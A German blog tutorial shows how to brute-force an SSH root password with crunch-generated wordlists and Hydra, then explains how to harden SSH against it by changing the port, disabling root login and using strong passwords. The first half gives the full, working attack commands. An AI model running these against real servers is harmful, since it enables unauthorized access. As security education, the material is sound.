DIESES TUTORIAL WURDE AUSSCHLIEßLICH GESCHRIEBEN, UM ZU ZEIGEN, WIE WICHTIG ES IST, SSH ABZUSICHERN UND U.A. EIN SICHERES PASSWORT ZU HABEN. DIESE METHODE DARF NUR AN EIGENEN SYSTEMEN AUSPROBIERT WERDEN. DER BETREIBER DIESER SEITE (BZW AUTOR DIESER ANLEITUNG) IST NICHT VERANTWORTLICH FÜR JEGLICHE AKTIVITÄTEN DIE DIREKT ODER INDIREKT MIT DIESEM GUIDE IN VERBINDUNG GEBRACHT WERDEN / KÖNNEN. INDEM SIE WEITER LESEN, STIMMEN SIE DIESEM, ROTEN ABSATZ ZU.

Überall heißt es immer, man soll komplexe Passwörter verwenden, den SSH Port ändern, Root Login deaktivieren usw. Aber warum eigentlich? In dieser Anleitung möchte ich zeigen, warum genau dies wichtig ist.

1. Benötigte Programme installieren

apt-get update

apt-get upgrade

apt-get install build-essential wget libssh-dev

cd /usr/src

wget http://dl.bitforce.io:11520/crunch-3.6.tgz

wget http://dl.bitforce.io:11520/hydra-8.1.tar.gz

tar xfvz crunch-3.6.tgz

tar xfvz hydra-8.1.tar.gz

cd crunch-3.6

make

make install

cd ../hydra-8.1

./configure

make

make install

2. Wordlist generieren

crunch 1 5 abcdefghijklmnopqrstuvwxyz > pass.lst

Dies generiert eine Wordlist („pass.lst“) welche alle Wörter enthält, welche mit den Buchstaben von a bis z bei 1 bis 5 Zeichen länge, erstellt werden können.

Befehls-Erklärung

crunch => Skript

1 => Mindestlänge

5 => Maximale Länge

abc…xyz => Zeichen die verwendet werden sollen

> pass.lst => Schreibt den Output (die Wörter) in die Datei „pass.lst“

Für mehr Infos: man crunch

[collapse]

3. Hydra starten

hydra -l root -P pass.lst ssh://[IP oder Domain des Zielservers]

Schon wird Hydra versuchen, sich per SSH beim definierten Zielserver als root anzumelden, mit den Passwörtern aus der pass.lst Datei. Das sieht dann z.B. so aus:

2015-02-03 20.35.04

Ist das Passwort in der Wordlist, wird dies wie folgt angezeigt:

2015-02-04 21.45.09

 


 

Hydra im Hintergrund laufen lassen

apt-get install screen

screen

[Enter]

[Hydra starten]

Zum wieder zum vordergründigen Terminal zu gelangen:

[Strg + A, D]

Um wieder zu Hydra zu wechseln:

[Strg + A, C]

 

 


Bei der Ausführung dieses Angriffs wurde ausschließlich ein eigener Server von mir angegriffen und ein extra dafür eingerichteter Nutzer.


 

Vor SSH Bruteforcing schützen

Da dieses HowTo aber nicht geschrieben wurde, um zu zeigen, wie man andere angreift, sondern nur um zu demonstrieren, warum es so wichtig ist, sich entsprechend abzusichern, so schützt man sich:

1. SSH Port ändern

Dies ist eine sehr einfache, aber effektive Methode, sich vor solch einem Angriff zu schützen: indem man einfach SSH auf einem anderen Port statt 22 laufen lässt. Möchte jemand SSH angreifen, muss er erst den Port herausfinden (durch einen Port Scan), was (viel) Zeit kostet.

nano /etc/ssh/sshd_config

Hier nach

Port 22

suchen und die 22 durch einen anderen Port ersetzen – welcher natürlich noch nicht genutzt wird. Um sich ausgehen zu lassen, an welche Ports sich bereits Programme gebunden haben:

netstat -plant

Hat man einen neuen Port festgelegt, speichern, nano schließen, SSH neu starten per

service ssh restart

Und die SSH Verbindung NICHT trennen. Stattdessen eine neue eröffnen und als Port natürlich den neuen angeben. Kann man sich anmelden bzw ist verbunden (daher kein „Connection refused“), weiß man, dass SSH ab sofort auf den neuen Port hört. Und zwar nur.

Möchte man sich von Linux aus zu diesem Server verbinden, kommt im Terminal dann noch der Switch -p dazu hinter dem der Port definiert wird. Beispiel:

ssh -p 12345 root@12.34.56.78

Für  SCP:

scp -P 12345 root@12.34.56.78:/root/data.bin ./

Je höher und komplexer die Port Nummer, desto länger sollte ein Port Scan dauern, bis der Port gefunden wurde.


2. Root Login deaktivieren

Die wohl effektivste Methode überhaupt: Root Login deaktivieren. Denn dann kann man noch so oft mit einer noch so guten Wordlist mit noch so vielen Servern versuchen, das Root Passwort zu knacken – man kann sich nur noch als ein anderer Nutzer anmelden. Hierfür:

nano /etc/ssh/sshd_config

Und

PermitRootLogin yes

Zu

PermitRootLogin no

Ändern. Da man nun aber einen anderen Nutzer braucht:

adduser [Name für neuen Nutzer]

Braucht man unter diesem Nutzer Root Rechte, kann man diese per

su

Erlangen. Denn der Root Account wird natürlich nicht gelöscht, nur, dass man sich unter diesem direkt per SSH anmelden darf.

SSH Beispiel:

ssh bitforce@12.34.56.78

2015-02-06 22.11.16


3. Sichere Passwörter verwenden 

Um das Passwort des Nutzers, unter dem man angemeldet ist zu ändern:

passwd

Um als Root das Passwort anderer Nutzer zu ändern:

passwd [Nutzername]


 

Befolgt man diese 3. Schritte, ist SSH gut abgesichert und sollte nurnoch durch einen Exploit schnell zu knacken sein.

[HowTo] SSH Passwort knacken mit Crunch und Hydra
Markiert in:                                                                                                                                             

Ein Gedanke zu „[HowTo] SSH Passwort knacken mit Crunch und Hydra

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.

*